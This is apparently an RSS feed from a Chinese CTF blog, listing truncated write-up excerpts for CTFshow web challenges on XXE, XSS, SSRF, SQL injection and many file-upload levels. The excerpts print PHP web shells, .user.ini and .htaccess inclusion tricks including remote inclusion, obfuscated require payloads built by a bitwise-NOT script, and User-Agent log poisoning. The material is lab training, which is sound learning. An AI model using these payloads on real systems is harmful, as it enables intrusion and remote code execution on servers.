<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Kradress的博客]]></title><description><![CDATA[记录我的ctf之旅]]></description><link>https://blog.youkuaiyun.com/Kracxi</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; Kracxi]]></copyright><item><title><![CDATA[CTFshow XXE(web373-378)]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/129631514</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/129631514</guid><author>Kracxi</author><pubDate>Sat, 18 Mar 2023 04:34:20 +0800</pubDate><description><![CDATA[post提交，这里外部引入vps的dtd文件。抓包发现username处存在回显。base64解码拿到flag。直接套八股文，拿到flag。这里需要一个根节点来包含。这里用python脚本。这里可以外部引入一个。]]></description><category></category></item><item><title><![CDATA[CTFshow XSS(web316-333)]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/129629891</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/129629891</guid><author>Kracxi</author><pubDate>Sat, 18 Mar 2023 02:33:40 +0800</pubDate><description><![CDATA[这里我们发现管理员才能查看用户名和密码，如果我们在注册的时候写入xss的payload，就会在用户管理界面执行我们的xss代码。这题没有过滤什么，但是如果用img的话，拿不到flag，但是referer是bot，我猜测bot触发不了img的。试试用admin的cookie修改密码,但是没有用，可能cookie失效了。这题拿cookie也看不到flag了，不过多了一个修改密码选项。随便注册一个用户test，余额只有6块，买flag要9999元。发现输出为空，说明被题目限制了，但是。可以用frame注入。]]></description><category></category></item><item><title><![CDATA[CTFshow SSRF(web351-360)]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/129562367</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/129562367</guid><author>Kracxi</author><pubDate>Fri, 17 Mar 2023 18:38:31 +0800</pubDate><description><![CDATA[表示不允许私有IP地址（例如，10.0.0.0/8，172.16.0.0/12和192.168.0.0/16），而。后面要进行url编码，因为curl还会进行一次url解码。后面要进行url编码，因为curl还会进行一次url解码。显示网页内容，说明存在SSRF漏洞，那应该就是用。因为不能用私网，所以这题还是可以用。题目hint：打无密码的mysql。发现是一个登录框，抓个包看看，输入。，用于过滤和验证输入的IP地址。，这里可以用进制转换绕过。的返回结果，直接写马。的返回结果，直接写马。]]></description><category></category></item><item><title><![CDATA[CTFshow sql注入 上篇(web221-253)]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/124094102</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/124094102</guid><author>Kracxi</author><pubDate>Wed, 20 Apr 2022 18:00:29 +0800</pubDate><description><![CDATA[目录前言思路题解总结

前言
输入源码


思路
################################
题解
################################

总结
…

]]></description><category></category></item><item><title><![CDATA[CTFshow sql注入 上篇(web171-220)]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122995137</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122995137</guid><author>Kracxi</author><pubDate>Fri, 18 Mar 2022 00:24:11 +0800</pubDate><description><![CDATA[目录前言题目web 171(万能密码)web 172(回显内容过滤,base64或者hex编码绕过)web 173(回显内容过滤,base64或者hex编码绕过)web 174 (盲注)总结

前言
师傅们加油!!!

题目
web 171(万能密码)
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

id存在注]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web170]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122975132</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122975132</guid><author>Kracxi</author><pubDate>Thu, 17 Feb 2022 01:55:43 +0800</pubDate><description><![CDATA[目录思路总结

思路
感觉和上题没什么变化,可以利用.user.ini进行日志和远程文件包含
.user.ini
auto_prepend_file="/var/log/nginx/access.log"

User-Agent注入一句话木马
上传php文件,直接访问php文件,rce拿到flag

总结
…

...]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web169]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122975031</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122975031</guid><author>Kracxi</author><pubDate>Thu, 17 Feb 2022 01:36:56 +0800</pubDate><description><![CDATA[目录思路总结

思路
查看源代码,要求上传zip
上传zip后抓包,返回错误,把文件类型改成image/png,提示null
清空全部内容,提示上传成功,文件后缀也可以任意改
初步尝试发现&lt; &gt; ?都被过滤了,肯定不能直接写php代码了,不过可以上传php文件,就可以利用.user.ini进行日志文件包含和远程文件包含(条件需要当前目录有可执行的php文件,所以先要上传php,内容无关紧要)
.user.ini
auto_prepend_file=http://2002459365

访问上传的]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web168]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122974890</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122974890</guid><author>Kracxi</author><pubDate>Thu, 17 Feb 2022 01:09:08 +0800</pubDate><description><![CDATA[目录思路总结

思路

先查看源代码,发现限制上传png
直接上传png的图片马,回显null,发现对eval,system还有$_POST和$_GET进行过滤,$_REQUEST还可以用
替换图片马中的一句话,把文件后缀改成php,成功上传
&lt;?php $_REQUEST[0]($_REQUEST[1]);?&gt;


访问/upload/shell.php,直接rce拿到flag

总结
…

...]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web167]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122973479</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122973479</guid><author>Kracxi</author><pubDate>Wed, 16 Feb 2022 22:54:55 +0800</pubDate><description><![CDATA[目录思路总结

思路

根据提示上传了包含shell的jpg文件,上传成功,点击下载文件,发现没有存在文件包含点,访问upload检查是否有可执行文件,提示没有权限,但是发现中间件是apache

可以直接上传phtml,但是文件没有被成功解析.这时候可以上传.htaccess,对所有文件进行php解析
&lt;?php echo 123;eval($_POST['kradress']);?&gt;

.htaccess
Sethandler application/x-httpd-php
&lt;!-将该]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web166]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122973231</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122973231</guid><author>Kracxi</author><pubDate>Wed, 16 Feb 2022 22:41:40 +0800</pubDate><description><![CDATA[目录思路总结

思路
直接在bp发包一直失败,没什么思路,查看了一下网页源代码,提示上传zip

直接上传zip,显示下载文件,抓包发现url路径疑似文件包含点,返回的是一个html页面

在上传的zip尾部添加shell,访问/upload/download.php?file=1048f28ab4d2da951869bc5579e7525c.zip抓包拿到flag
&lt;?php phpinfo();system("tac ../f*");?&gt;


总结
没什么过滤

...]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web165]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122972048</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122972048</guid><author>Kracxi</author><pubDate>Wed, 16 Feb 2022 22:15:17 +0800</pubDate><description><![CDATA[目录思路总结

思路

上传jpg图片,返回包可以看出经过了二次渲染
试了很多次,群里的jpg哪来也没成功,放弃了
&lt;?php
    $miniPayload = '&lt;?php echo 123;eval($_POST[0]);?&gt;';


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

 ]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web164]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122971503</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122971503</guid><author>Kracxi</author><pubDate>Wed, 16 Feb 2022 21:07:37 +0800</pubDate><description><![CDATA[目录思路总结

思路
  
直接在burp里面改target和host的值,或者在本地发包


多次尝试后,发现除了正常的png图片,都无法上传,猜测用图片马上传

https://github.com/huntergregal/PNG-IDAT-Payload-Generator

虽然上传成功,但把后缀改成任意字符串却被拦截,猜测是白名单

.user.ini也无法正常上传,应该有其他的点可以利用.
直接在网站上上传图片马后,发现显示查看图片

点击查看图片后,跳转到/download.php?imag]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web163]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122954326</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122954326</guid><author>Kracxi</author><pubDate>Wed, 16 Feb 2022 04:02:08 +0800</pubDate><description><![CDATA[目录源码思路总结

源码

思路

先上传.user.ini
上传成功

GIF89a

auto_prepend_file=png

然后上传png
GIF89a
&lt;?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?&gt;

取反脚本
$a = "dat]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web162]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122954230</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122954230</guid><author>Kracxi</author><pubDate>Tue, 15 Feb 2022 23:27:05 +0800</pubDate><description><![CDATA[目录思路总结

思路

大致思路和上题类似,不过在上传.user.ini的时候发现.被过滤了,可以把包含的文件不带后缀来绕过
.user.ini
GIF89a

auto_prepend_file=png

png
GIF89a
&lt;?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web161]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122953697</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122953697</guid><author>Kracxi</author><pubDate>Tue, 15 Feb 2022 23:18:23 +0800</pubDate><description><![CDATA[目录思路总结

思路

直接在burp里面改target和host的值,或者在本地发包


在上传.user.ini发现失败,可能对文件内容进行检测
在多次尝试后,发现文件类型为image/png,文件头加上GIF89a而且文件不能太小,要多加点内容
其他都和上题一样
.user.ini
GIF89a
auto_prepend_file=shell.png

shell.png
记得url解码
GIF89a
&lt;?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web160]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122952518</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122952518</guid><author>Kracxi</author><pubDate>Tue, 15 Feb 2022 21:30:17 +0800</pubDate><description><![CDATA[目录思路总结

思路

直接在burp里面改target和host的值,或者在本地发包


成功上传.user.ini
auto_prepend_file=shell.png

继续用取反来解
取反脚本
$a = "data://text/plain,&lt;?php system('tac ../f*');?&gt;";
echo "~(";
for ($i = 0; $i &lt; strlen($a); $i++) {
    echo "%".bin2hex(~$a[$i]);
}
echo ")"]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web159]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122951443</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122951443</guid><author>Kracxi</author><pubDate>Tue, 15 Feb 2022 20:54:43 +0800</pubDate><description><![CDATA[目录思路总结

思路
 
直接在burp里面改target和host的值,或者在本地发包


成功上传.user.ini
auto_prepend_file=shell.png

相比之前题目的过滤发现()也不能用了,不过可以用取反和异或来绕过
不需要括号的函数
echo
require
include

Y1ng师傅的取反脚本,用data协议来执行代码
&lt;?php
$a = "data://text/plain,&lt;?php system('tac ../f*');?&gt;";
echo "~]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web158]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122951363</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122951363</guid><author>Kracxi</author><pubDate>Tue, 15 Feb 2022 20:13:31 +0800</pubDate><description><![CDATA[目录思路总结

思路

直接在burp里面改target和host的值,或者在本地发包


成功上传.user.ini
auto_prepend_file=shell.png

发现上题的可以直接用,直接白嫖了
shell.png
&lt;?system('tac ../f*')?&gt;


总结
…

]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web157]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122951176</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122951176</guid><author>Kracxi</author><pubDate>Tue, 15 Feb 2022 20:08:42 +0800</pubDate><description><![CDATA[目录思路总结


思路

直接在burp里面改target和host的值,或者在本地发包


成功上传.user.ini
auto_prepend_file=shell.png

在上传shell.png的时候,对比上题,;和反引号也不能用了,过滤;可以用闭合php标签用?&gt;来绕过
shell.png
&lt;?system('tac ../f*')?&gt;

访问/upload,拿到flag

总结
…

...]]></description><category></category></item><item><title><![CDATA[CTFshow 文件上传 web156]]></title><link>https://blog.youkuaiyun.com/Kracxi/article/details/122950774</link><guid>https://blog.youkuaiyun.com/Kracxi/article/details/122950774</guid><author>Kracxi</author><pubDate>Tue, 15 Feb 2022 19:53:47 +0800</pubDate><description><![CDATA[目录思路总结

思路

这次发现把shell.php改成png上传的时候,提示文件类型不合规,可能对文件头进行检测,可以利用图片马来写入shell.

https://github.com/huntergregal/PNG-IDAT-Payload-Generator

但是还是提示不合规,直接绕过前端验证,可以直接在burp里面改target和host的值,或者在本地发包


成功上传.user.ini
auto_prepend_file=shell.png

在上传shell.png,发现多过滤了一个[]]></description><category></category></item></channel></rss>